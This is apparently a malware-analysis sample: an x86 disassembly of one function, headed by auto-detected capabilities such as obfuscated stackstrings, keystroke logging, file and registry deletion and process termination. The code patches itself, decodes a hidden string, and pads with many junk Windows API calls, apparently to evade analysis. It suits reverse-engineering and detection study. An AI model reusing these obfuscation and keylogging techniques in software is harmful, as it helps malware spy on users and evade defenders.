Function at 0xab1000
Capabilities:
Contain obfuscated stackstrings
Create pipe
Delete file
Delete registry key
Enumerate files on windows
Get common file path
Get geographical location
Get graphical window text
Get session user name
Log keystrokes via polling
Query environment variable
Query or enumerate registry value
Set thread local storage value
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
mov dword [ebp - 0x10], 0xab1d09
mov eax, dword [ebp - 0x10]
mov byte [eax + 1], 0
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
cmp eax, 0xe9
jne 0xab1036
mov eax, dword [ebp - 0x10]
mov byte [eax + 2], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 3], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 4], 0
mov dword [ebp - 0x20], 0xab11c2
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
and dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jae 0xab10b8
call fcn.004811e2
cdq
push 0xf
pop ecx
idiv ecx
add edx, 0xa
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jb 0xab107a
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0xc]
mov byte [ebp - 1], al
jmp 0xab1094
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
sub ecx, eax
cmp ecx, 2
jae 0xab1094
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov byte [ebp - 1], al
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0xc]
mov byte [eax], 0xeb
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0xc]
mov byte [ecx + 1], al
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov dword [ebp - 0xc], eax
jmp 0xab104a
mov byte [ebp - 0x6c], 1
mov byte [ebp - 0x6b], 0x76
mov byte [ebp - 0x6a], 9
mov byte [ebp - 0x69], 0x6c
mov byte [ebp - 0x68], 0xe
mov byte [ebp - 0x67], 0xda
mov byte [ebp - 0x66], 0x69
mov byte [ebp - 0x65], 0x33
mov byte [ebp - 0x64], 0x62
mov byte [ebp - 0x63], 0x60
mov byte [ebp - 0x62], 0x35
mov byte [ebp - 0x61], 0xf5
mov byte [ebp - 0x60], 0xee
mov byte [ebp - 0x5f], 0x88
mov byte [ebp - 0x5e], 0x96
mov byte [ebp - 0x5d], 0x8c
mov byte [ebp - 0x5c], 0x3b
mov byte [ebp - 0x5b], 0xac
mov byte [ebp - 0x5a], 8
mov byte [ebp - 0x59], 0x75
mov byte [ebp - 0x58], 5
mov byte [ebp - 0x57], 0x70
mov byte [ebp - 0x56], 2
mov byte [ebp - 0x55], 0x77
mov byte [ebp - 0x54], 3
mov byte [ebp - 0x53], 0x2b
mov byte [ebp - 0x52], 6
mov byte [ebp - 0x51], 0x7b
mov byte [ebp - 0x50], 7
mov byte [ebp - 0x4f], 0x70
mov byte [ebp - 0x4e], 0
mov byte [ebp - 0x4d], 0x83
mov byte [ebp - 0x4c], 4
mov byte [ebp - 0x4b], 0x8a
and dword [ebp - 8], 0
and dword [ebp - 0x24], 0
jmp 0xab1152
mov eax, dword [ebp - 8]
inc eax
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x22
jae 0xab11b7
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x6c]
lea eax, [eax + eax + 2]
cmp dword [ebp - 8], eax
jne 0xab117e
mov dword [ebp - 0x24], 0xe
mov eax, dword [ebp - 8]
add eax, 0xc
mov dword [ebp - 8], eax
jmp 0xab114a
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x6b]
sub eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x24]
lea eax, [eax + ecx - 1]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jge 0xab11a6
mov eax, dword [ebp - 0x18]
add eax, 0x100
mov dword [ebp - 0x18], eax
jmp 0xab1193
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x6c]
mov cl, byte [ebp - 0x18]
mov byte [ebp + eax - 0x30], cl
jmp 0xab114a
xor eax, eax
inc eax
imul eax, eax, 0xa
mov byte [ebp + eax - 0x30], 0
push 0
push 0xaa4532
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x48]
call fcn.004077f6
mov ecx, eax
call fcn.00402d7e
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0x48]
call fcn.00402d22
and dword [ebp - 0x1c], 0
jmp 0xab11fa
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xb
jae 0xab120a
mov eax, dword [ebp - 0x1c]
mov byte [ebp + eax - 0x30], 0
jmp 0xab11f3
push 0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xcb3
push 0xcb0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowLongA]
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetPropA]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RectVisible]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ValidateRgn]
push 0
push 0x1e18
push 0x1f4c
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_MoveToEx]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CloseEnhMetaFile]
push 0x89f
push 0x411
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawFrameControl]
call dword [sym.imp.USER32.dll_CreatePopupMenu]
push 0x1d2d
push 0x27
push 0
call dword [sym.imp.USER32.dll_CheckMenuItem]
push 0xb05
push 0
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
push 0xcc
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push 0x174d
push 0x1994
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_CheckDlgButton]
push 0xd4d
push 0x1766
push 1
push 0
push 0x2034
call dword [sym.imp.USER32.dll_MsgWaitForMultipleObjects]
push 0
push 0
push 0x23f2
push 0x1cbe
push 0
call dword [sym.imp.USER32.dll_InsertMenuA]
call dword [sym.imp.USER32.dll_GetCaretBlinkTime]
push 0x18c3
push 0x9d1
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetClassLongA]
push 0
call dword [sym.imp.USER32.dll_DestroyCursor]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetThreadTimes]
push 0
push 0x9fd
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetDlgItemTextA]
push 0x1ec7
push 0
push 0x270
push 0x1358
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCharacterPlacementW]
push 0x16cc
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsDlgButtonChecked]
push 0xc2
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
push 0
push 0
push 0x8a5
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
push 0
push 0x741
call dword [sym.imp.GDI32.dll_CreateHatchBrush]
push 0
call dword [sym.imp.USER32.dll_GetKeyboardState]
push 0x25f0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetDeviceCaps]
push 0
call dword [sym.imp.GDI32.dll_GetObjectType]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_MapDialogRect]
push 0x182e
push 0
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
push 0
push 0x12fa
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push 0x449
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push 0
push 0x1b32
push 0xdf
push 0
push 0x5ba
push 0xe85
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 0
push 0xcf8
push 0
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
push 0
push 0x2439
push 0x2623
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetPixel]
push 1
push 0
push 1
push 0
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_HideCaret]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_DeleteDC]
push 0x1f79
push 0
push 0x1e9e
push 0x3dc
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
call dword [sym.imp.USER32.dll_GetDoubleClickTime]
call dword [sym.imp.USER32.dll_CreateMenu]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
push 0
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_BeginPaint]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
push 0
push 0x14b1
push 0
call dword [sym.imp.GDI32.dll_GetEnhMetaFileHeader]
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SelectPalette]
push 0
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawFocusRect]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetWindowOrgEx]
push 0
push 0x1135
push 0
call dword [sym.imp.GDI32.dll_ExtCreateRegion]
push 0
call dword [sym.imp.GDI32.dll_CreateFontIndirectA]
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
call dword [sym.imp.USER32.dll_ReleaseCapture]
push 0xe11
push 0
push 0x1173
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItemTextA]
push 0
call dword [sym.imp.USER32.dll_RegisterClassA]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetParent]
push 1
push 0x1509
push 0x168e
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetScrollPos]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0
call dword [sym.imp.USER32.dll_SetKeyboardState]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push 0
call dword [sym.imp.GDI32.dll_CreateBrushIndirect]
push 0
push 0x194
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentPoint32A]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetBkColor]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_EndPage]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_DrawMenuBar]
push 0
push 0xff3
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentPointA]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ShowCaret]
push 0
call dword [sym.imp.GDI32.dll_CreateBitmapIndirect]
push 0x677
push 0x2506
push 0x11db
push 0x1d6b
push 0x6fc
push 0x172d
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RoundRect]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0xf07
push 0x4a1
push 0x1c4c
push 0xc10
push 0
call dword [sym.imp.USER32.dll_TrackPopupMenu]
push 0x2ff
call dword [sym.imp.GDI32.dll_GetStockObject]
push 0xc2e
push 0
push 0x13f2
push 0x372
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_TextOutA]
push 1
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowRgn]
push 0x170a
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetStretchBltMode]
push 0
call dword [sym.imp.USER32.dll_ShowCursor]
push 0
push 0x17a2
push 0x20e7
push 0
call dword [sym.imp.GDI32.dll_SetPaletteEntries]
push 0
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SelectObject]
push 0
push 0
push 0
push 0
push 0x1d12
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push 0xdf0
push 0x2001
push 0
push 0
push 0x74
push 0x1878
call dword [sym.imp.USER32.dll_ToUnicode]
push 0
push 0
push 0xf2c
call dword [sym.imp.ADVAPI32.dll_CopySid]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EndPaint]
push 0
push 0x1caf
call dword [sym.imp.KERNEL32.dll_IsDBCSLeadByteEx]
push 0x1994
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Polyline]
push 0
push 0x1a7c
push 0x1923
push 0x23d3
push 0x16e5
push 0xa8c
push 0x249c
push 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_UpdateColors]
push 0x11f0
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_PolyPolygon]
push 0xdce
call dword [sym.imp.KERNEL32.dll_TlsFree]
push 0x1ea1
push 0x8d4
push 0x87d
push 0xa5
push 0
call dword [sym.imp.USER32.dll_SetRect]
push 0
push 0x2127
push 0xe3b
call dword [sym.imp.GDI32.dll_CreatePen]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
call dword [sym.imp.GDI32.dll_DeleteObject]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommState]
push 0x337
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push 0x1862
push 0xea2
push 0x11a1
push 0x9a8
call dword [sym.imp.GDI32.dll_CreateRectRgn]
push 0x1205
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetROP2]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EndPaint]
push 0x254d
push 0x1010
push 0
push 0
push 0x187b
push 0x868
push 0x1839
push 0x611
push 0x202e
push 0x12f2
push 0xb44
push 0x1f8d
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_StretchDIBits]
push 0
call dword [sym.imp.USER32.dll_DestroyIcon]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommTimeouts]
push 0x1ff4
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsWindow]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SaveDC]
push 0
push 0
call dword [sym.imp.GDI32.dll_GetRgnBox]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_FlashWindow]
push 0
push 0
push 0x732
push 0
push 0x2560
push 0
push 0x15f5
push 0x1a6e
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push 0x516
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push 0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push 0
call dword [sym.imp.USER32.dll_DestroyAcceleratorTable]
push 0
call dword [sym.imp.USER32.dll_DestroyMenu]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RealizePalette]
push 0x1351
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowLongA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push 0
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
push 0
push 0xd58
push 0
call dword [sym.imp.GDI32.dll_GetBitmapBits]
push 0x25fc
push 0xb73
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ShowOwnedPopups]
push 0
push 0x15d1
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
push 0x1c2a
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
push 0
push 0
call dword [sym.imp.GDI32.dll_GetNearestPaletteIndex]
push 0x1e43
push 0x1ec
push 0x162e
push 0x12ab
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Ellipse]
push 0
push 0x537
push 0
push 0
push 0x2512
push 0x2504
call dword [sym.imp.USER32.dll_ToAsciiEx]
push 0x1b7a
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
push 0x2507
push 0xe18
push 0x2442
call dword [sym.imp.KERNEL32.dll_MulDiv]
push 0
push 0x17f5
push 0x19d
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetDIBColorTable]
push 0
call dword [sym.imp.GDI32.dll_CreatePenIndirect]
push 0
push 0xc17
push 0x615
push 0x1269
push 0x14b2
push 0x182
push 0x1839
push 0x22e3
push 0x32f
push 0x56d
push 0x600
push 4
push 0x1a5d
push 0x20f5
call dword [sym.imp.GDI32.dll_CreateFontA]
push 1
push 0
push 0x1815
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetScrollInfo]
push 0
push 0
push 0xad0
push 0
call dword [sym.imp.USER32.dll_AppendMenuA]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ValidateRect]
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
push 0
push 0xcb3
push 0
push 0
push 0xf59
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 1
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetSystemMenu]
push 0x584
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Polygon]
push 0x215e
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push 0
push 0x80c
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_PlayEnhMetaFile]
push 0
call dword [sym.imp.KERNEL32.dll_InitializeSListHead]
push 0xd52
push 0x771
push 0x13d
push 0x1bf1
push 0x110b
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawStateW]
push 0x236f
push 0x2051
push 0
call dword [sym.imp.GDI32.dll_OffsetRgn]
push 0x1a4e
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_PolyPolyline]
push 0x1964
push 0x1b68
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_CreateCaret]
push 0
push 0x157f
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetScrollInfo]
jmp 0xab1d13
mov esp, ebp
pop ebp
ret